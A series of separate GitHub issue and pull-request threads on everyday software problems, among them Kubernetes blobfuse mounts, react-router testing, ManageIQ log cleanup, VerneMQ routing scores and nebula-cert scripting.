If so, is there any workaround to use a single storage container multiple namespaces/Pods?
Environment:

Kubernetes version: 1.16.9
OS (e.g. from /etc/os-release): ubuntu 16.04
Kernel (e.g. uname -a): 4.15.0
Install tools:
Others:

I would suggest switch to use blobfuse csi driver, it should work well: https://github.com/kubernetes-sigs/blobfuse-csi-driver/blob/master/deploy/example/storageclass-blobfuse-csi-existing-container.yaml

I could work around the mount issue by connecting each pod directly with the flexvolume driver instead of using pv/pvc method.
Now I am wondering, if I‘ll run into other issuess when multiple pods (from one replica set) will use the same tmppath.
I really would like to avoid putting each pod in its own replica set, but am unsure if sharing a tmppath is possible at all.
Thank you for your valued efforts.

you should not share the tmppath for two pods on the same node, it would have conflict. I think use two separate PV/PVCs should work.  What's your config and error message?
Also I would suggest switch to use blobfuse csi driver, it could support deployment, statefulset, here is an example: https://github.com/kubernetes-sigs/blobfuse-csi-driver/blob/master/deploy/example/statefulset.yaml

Thank you for your reply. So, basically I would have to have multiple PV per storageaccount/container and would assign each pod its own PVC to access blobfuse, right? This means I can’t avoid to have a replicaCount of 1 per deployment/replicaSet, right?

You could use PV1/PVC1, PV2/PVC2, and PV1 & PV2 use same storage account/container, that should work

Thank you for your sharing, one last question, though. Would you prefer PV/PVC or direct Pod-flexvolume connection, I am unsure about pros and cons for both methods here.

depends on your usage, direct Pod-flexvolume connection is more easier to configure, while if you want to use one PVC in multiple pods, you should use PV/PVC.


Command-line tasks could be less ambiguous in name.

I often find myself wondering when to use deploy-release or install-release as both are rather ambiguous in meaning.
Maybe we can consider renaming install-release to prepare-release as it gives a better natural order of execution.

I see prepare-release as something you do when creating a release of a project (eg. updating changelog, creating a git tag) giving even more confusion. The description of the commands could use some improvement though.

I see your point so I would actually want to suggest something else:
change deploy-release to install >>  accompli install 2.3.2 production
change install-release to release >> accompli release 2.3.2 production


dotnet build for Factorial.cs

[When I use "dotnet build" within the directory, in this case documents directory, I get this message from the command line:
C:\Users\Joe\Documents>dotnet build
MSBuild version 17.3.0+92e077650 for .NET
MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file.]

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 06ef4bd7-7012-8afd-721a-a4c31db20202
Version Independent ID: d942d65a-87e4-1525-bd94-b005f1b7cbac
Content: Main() and command-line arguments
Content Source: docs/csharp/fundamentals/program-structure/main-command-line.md
Product: dotnet-csharp
Technology: csharp-fundamentals
GitHub Login: @BillWagner
Microsoft Alias: wiwagn

I was able to build and then run the file using an existing console project in VS 2022 Community. I just commented out the existing Main method to get it to build and run. The instructions are not clear on where to save the Factorial.cs file. There should be more documentation on how to get this to work. A lot of your instructions are not very clear for novice developers. If you are going to put this information under the heading "Fundamentals" you should make it easy for beginners to understand!


Train model

Use the preprocessed dataset in step1_prepare/ to train the model.
Once done, include the new code in run_all_steps.py.

[!IMPORTANT]
The file format of the trained model needs to be compatible with Android/Kotlin apps: #4.

Depends on #12

hey! could you assign me the issue?


cli: haproxy config now includes check

Manual Deployment guide needs to be updated to reflect cockroachdb/cockroach#14624
According to @mberhault the new check value at the end end of the server line simply enabled TCP checks, which are good so you know which instances are up or down.

Might as well handle https://github.com/cockroachdb/docs/issues/1600 at the same time.


History singletons in non-browser environments

Suppose I have a component like:
import {browserHistory} from 'react-router'

const LinkButton = props => (
  <Button value={props.to} onPush={browserHistory.push}>
    {props.label}
  </Button>
)

It throws when shallow rendered in a non-browser env, since browserHistory is undefined. It also throws if I access context.router.push, since it just proxies the history passed to Router. This is a big pain for unit testing.
I could wrap history at the top level, but I'd much rather import history directly from the library; isn't that the point of exposing the singleton?
// history.js:
export default isBrowserEnv() ? browserHistory : createMemoryHistory()

// LinkButton.js:
import history from '../history' // ew

I could pass a conditional history to Router, but then I'd always have to rely on context.router which is verbose and prevents me from writing functional components like LinkButton, above.
const history = isBrowserEnv() ? browserHistory : createMemoryHistory()
const router = <Router history={history} routes={routes} />

I could just do this everywhere, but it's verbose, repetitive, and doesn't let me test routing:
<Button value={props.to} onPush={browserHistory ? browserHistory.push : noop}>

One option on the library side is to have the history singleton return more than undefined in non-browser envs. Even just implementing the history interface using noops would at least prevent components throwing. Has this been considered? Is there a better recommended approach?
(I considered this more like a feature request / API discussion than a question, so I posted here rather than StackOverflow, but feel free to redirect me if you disagree!)

Your presentational LinkButton component should get push passed to it as a prop, otherwise it's not really presentational. The container component above can get that prop from this.context.router.push. This is a better pattern, as your presentational components should not be concerned with application-y things such as routers or state.

I suggest looking at Dan Abramov's article on the subject<EMAIL_ADDRESS>

I'm aware of the presentational/container distinction, but I don't see LinkButton as strictly presentational. It's meant to be like react-router's Link (which doesn't need a push prop), but a button instead of an a.

If you have n of these, use an HoC like React-Router-Bootstrap <LinkContainer>.
In either case, use the same patterns we do in <Link> to make it work in tests.
You should not have n components that integrate into the router – wrap these up in HoCs.

@billyjanitsch Yes, if you need to do things like access context, which functional components don't yet provide, then you'll have to create a class.

Thanks -- I misinterpreted the purpose of exposing the history singletons in v2. I agree that manipulating history by accessing context is the more robust pattern.
FYI, the second example in this doc is what led me to the approach I described. If you don't actually recommend this, would you like a PR that removes this example, or explains its limitations?

I also don't think we really guarantee that you can just split out push like that, instead of calling it via router.push.

I also don't think we really guarantee that you can just split out push like that, instead of calling it via router.push.

True. PR in #2992.

Yes, if you need to do things like access context, which functional components don't yet provide, then you'll have to create a class.

You can actually do context with functional components.
function Button(props, context) {
  return <div>{stuff}</div>
}
Button.contextTypes = { stuff: PropTypes.string }

Ah yes, I forgot about that! Thanks, @gaearon!

For the record, history singletons can be used anywhere in the browser, we added them to make routing super simple and to skip the context dance.
Accessing router from context is "safer" because if you change the history you pass to <Router/> you don't have to update any of your other code. If you switched from the singleton hashHistory to browserHistory, you'd have to update all your usages of it.  Even then, you could make a module in your app that exported the one you want to use and get the same safety as accessing router from context.
Feel free to use the singleton histories.

Even then, you could make a module in your app that exported the one you want to use and get the same safety as accessing router from context.

I suggested this as an option in my first post, and I'm not opposed to it. But if that's the recommended pattern, then I don't understand the advantage of react-router exposing singletons anymore. (If you're going to wrap them anyway, then creating your own singletons in the wrapper is only trivially more work.)


Correct line to remove logs from the appliance

Previously the quotes were preventing this from working properly.
We should only quote the variable.

After this, I can see the log files being removed in the anaconda-post.log:
+ [10:41:15] rm -vf /var/www/miq/vmdb/log/api.log /var/www/miq/vmdb/log/audit.log /var/www/miq/vmdb/log/automation.log /var/www/miq/vmdb/log/aws.log /var/www/miq/vmdb/log/azure.log /var/www/miq/vmdb/log/datawarehouse.log /var/www/miq/vmdb/log/evm.log /var/www/miq/vmdb/log/fog.log /var/www/miq/vmdb/log/kubernetes.log /var/www/miq/vmdb/log/lenovo.log /var/www/miq/vmdb/log/middleware.log /var/www/miq/vmdb/log/policy.log /var/www/miq/vmdb/log/production.log /var/www/miq/vmdb/log/rhevm.log /var/www/miq/vmdb/log/scvmm.log /var/www/miq/vmdb/log/vim.log /var/www/miq/vmdb/log/websocket.log
removed ‘/var/www/miq/vmdb/log/api.log’
removed ‘/var/www/miq/vmdb/log/audit.log’
removed ‘/var/www/miq/vmdb/log/automation.log’
removed ‘/var/www/miq/vmdb/log/aws.log’
removed ‘/var/www/miq/vmdb/log/azure.log’
removed ‘/var/www/miq/vmdb/log/datawarehouse.log’
removed ‘/var/www/miq/vmdb/log/evm.log’
removed ‘/var/www/miq/vmdb/log/fog.log’
removed ‘/var/www/miq/vmdb/log/kubernetes.log’
removed ‘/var/www/miq/vmdb/log/lenovo.log’
removed ‘/var/www/miq/vmdb/log/middleware.log’
removed ‘/var/www/miq/vmdb/log/policy.log’
removed ‘/var/www/miq/vmdb/log/production.log’
removed ‘/var/www/miq/vmdb/log/rhevm.log’
removed ‘/var/www/miq/vmdb/log/scvmm.log’
removed ‘/var/www/miq/vmdb/log/vim.log’
removed ‘/var/www/miq/vmdb/log/websocket.log’

Also, the apache directory is not removed and the apache configuration gets set correctly.

Related: https://github.com/ManageIQ/manageiq-pods/pull/111

Doesn't this prevent the removal of the other files?  Perhaps rm -vf "$vmdb_root"/log/**/*

Are there other files in that directory at build time? The .txt files and anything from apache are created when the server starts for the first time.

I'm not sure...I thought the goal of this line was to delete everything so as not to conflate logs from our side of the fence with logs from the user's side of the fence.

Currently there is no other files and no other subdirectory other than 'apache'.  Although something might get added in the future, probably this is good as is for now as our main concern was log/*.log?

:+1:


Understanding routing score

Hi There
I'm trying to better understand and tune our system and getting the definition of Routing Score on Release Notes we have:
"First, we added a couple of new metrics that allow us to show you a "routing score" for every cluster node on the VerneMQ cluster status page. The routing score consists of two percentages similar to 75 / 25 indicating that 75% of the received MQTT publish frames were routed to local subscribers and 25% were forwarded to subscribers on different cluster nodes. The routing score can be used to detect imbalances in a VerneMQ cluster and optimize your traffic and client partition."
Based on that, why our routing score is always 100/0 or 0/100 ?
Is it means that is not balanced ?
What can I do to balance it better ?
We are using clean_session = false, every client subscriber has the own client_id, always the same for same client. They are NodeJS applications.

Thanks

I think it's a live score for the last 10 seconds.

it is always like that.Never gets other numbers. Just 0 and 100.
I have always a bigger number on publish in on 1 node, in that case<EMAIL_ADDRESS>Is it normal ?
By seeing the entire panel, does it looks normal for you ?

Okay, this is based on the Javascript here: https://github.com/vernemq/vernemq/tree/master/apps/vmq_server/priv/static/js
And 8888/status.json should give the values this is based on. Issues with Javascript or Browsers not excluded...

Yeah, it's a live score for the last 10 seconds. Can you please check the values of matches_local and matches_remote  from host:8888/status.json? That would give us an idea of whether there is an issue in the web UI calculation or if calculating correct from the metrics.

Hello,
Use Case :
Cluster : 8 Nodes
Routing Score on 1 node : 80/20
Routing Score on other 7 nodes : 99/1
Client publish to Shared topic
6 server Clients subscribe to Shared topic
Is it possible to receive a client published message 2 times on a topic if the routing score is 80/20 ?


Feature Request: nebula-cert via script

Hi all, is it possible to change the nebula-cert binary to be completely scriptable without the need for  filesystem? So print the ca to stdout (for example json formated) after creation and so on?

Hi @TheBinaryLoop -
Sometimes /dev/stdin or /dev/stdout can be abused for this purpose. It seems to work for printing certs from stdin, but there are some issues with generating certs, seen below.
❯ nebula-cert print -json -path /dev/stdin
-----BEGIN NEBULA CERTIFICATE-----
CnUKCWpvaG5zLW1icBIKgsihhQyA/v//DyIEaG9tZSIGbGFwdG9wKM7up5kGMJCo
iqYGOiDUf9sISzc1jt0T4M/UT+fAYBhXB6vTzt/ZK/3n8WxTTUogDh9fQpIMTiTB
JJbE0PGZ7L4P/5K9pO2sNS69bC63zoQSQCLzed4Ozt7y2rDR4ZXtC0hl3ao5MNF3
RKUTDs/2n7qLoXEbqo6MrXnI2aslGbtG6F3ORIOLUjKtP7DDo3Ey1w4=
-----END NEBULA CERTIFICATE-----
{"details":{"groups":["home","laptop"],"ips":["<IP_ADDRESS>/24"],"isCa":false,"issuer":"0e1f5f42920c4e24c12496c4d0f199ecbe0fff92bda4edac352ebd6c2eb7ce84","name":"johns-mbp","notAfter":"2023-07-27T11:58:08-04:00","notBefore":"2022-09-20T13:24:30-04:00","publicKey":"d47fdb084b37358edd13e0cfd44fe7c060185707abd3cedfd92bfde7f16c534d","subnets":[]},"fingerprint":"f54add6f257fc014f064dac2835381b9343e0cecb054b6a64e18ffb432451a69","signature":"22f379de0ecedef2dab0d1e195ed0b4865ddaa3930d17744a5130ecff69fba8ba1711baa8e8cad79c8d9ab2519bb46e85dce44838b5232ad3fb0c3a37132d70e"}

❯ sudo nebula-cert sign -name "foo" -ip "<IP_ADDRESS>/24" -out-crt /dev/stdout -out-key /dev/stdout
Error: refusing to overwrite existing cert: /dev/stdout

Could you share a bit more about your use case? As far as programmatic access goes, today we typically recommend importing nebula directly as a Go dependency.

For my specific use-case, I need to compile and run the nebula-cert binary in an encapsulated wasm environment where no fs is available. I need to go though the complete setup process (generating CA, signing certs) without ever touching the file-system (Security related). I know this sound special, but I think it would be a good addition to be able to use nebula-cert only to the console.

I had a similar use case where I wanted to work fully in memory with certificates.
My solution was to roll my own cert library:
https://github.com/bbg-code/NebulaNetworkAutomation


Fix: Selection does not follow mouse when scrolling and can show half-way between entries

Pull Request Description
[ci no changelog needed]
Task link.
This PR fixes the implementation of the entries highlight (selection box) in the component list panel of the component browser. The previous behavior was caused by the dumb implementation of keeping the selection inside the borders of the component list panel. Now the selection is correctly clipped and is hovering over entries at all times.
Screencasts:
https://user-images.githubusercontent.com/6566674/182196585-02ab5ec4-7d12-4d7a-8563-ac95aec3c9f4.mp4
https://user-images.githubusercontent.com/6566674/182196768-9d28e83d-6c77-4ef6-abb0-98d50c4e74b7.mp4
Important Notes

This PR does not change the fact that after opening the component browser, the selection hovers over a random entry. See a dedicated task for that.
The selection box shape was moved from the component_group module because it depends heavily on list panel view implementation.
The selection was removed from the component_group demo scene. We have a component_list_panel_view demo scene instead.

Checklist
Please include the following checklist in your PR:

[x] The documentation has been updated if necessary.
[x] All code conforms to the
Scala,
Java,
and
Rust
style guides.
All code has been tested:

[x] Unit tests have been written where possible.
[x] If GUI codebase was changed: Enso GUI was tested when built using BOTH
./run ide dist and ./run ide watch.

Status update:
I fixed a few additional issues and updated documentation, rewriting it for clarity and fixed grammar mistakes. I changed the API of the component groups - now, it correctly represents internal invariants using the type system (is_header_selected and selected_entry endpoints are merged into a single one). As a result, the selection works more reliably when selecting headers and scrolling the component list panel. See the updated videos in the PR description.


Make classes serializable

What this PR does / why we need it:
There were some manually created POJOs which did not implement serializable interface. Making those implement Serializable interface here. This will enable Workflow objects transferrable over wire.

@ricardozanini just curious: I saw most of the classes are generated automatically from the JsonSchema but some of them are manually created. These manually created ones did not implement Serializable interface. I wonder why did we create these classes manually?

Quick question: Are there any other classes which were manually written apart from the ones present in this package? In that case we will have to make those classes implement serializable too.

The manually created classes are needed in order to implement a custom behavior that the generated ones cannot.
I'd recommend reviewing the whole project and writing more throughout tests using coverage to make sure everything is set before we merge this one. Can you do it?

Sure. As of now I am using a workaround to solve my usecase so not a blocker for me.
It will take some time for me though.
Just a thought: How do you propose testing this in UTs?

Another option is we merge this and I work on a follow up PR which does a comprehensive check as this PR alone seems harmless to me does not cause any regression.
Upto you...

I'd rather everything in one PR if you don't mind since I have to cherry pick to another branch to do a fup release.

@visheshruparelia I'm merging this one to help with your use case, sorry for the late merging. We will release a new major version targeting Java 11, so you can go from there.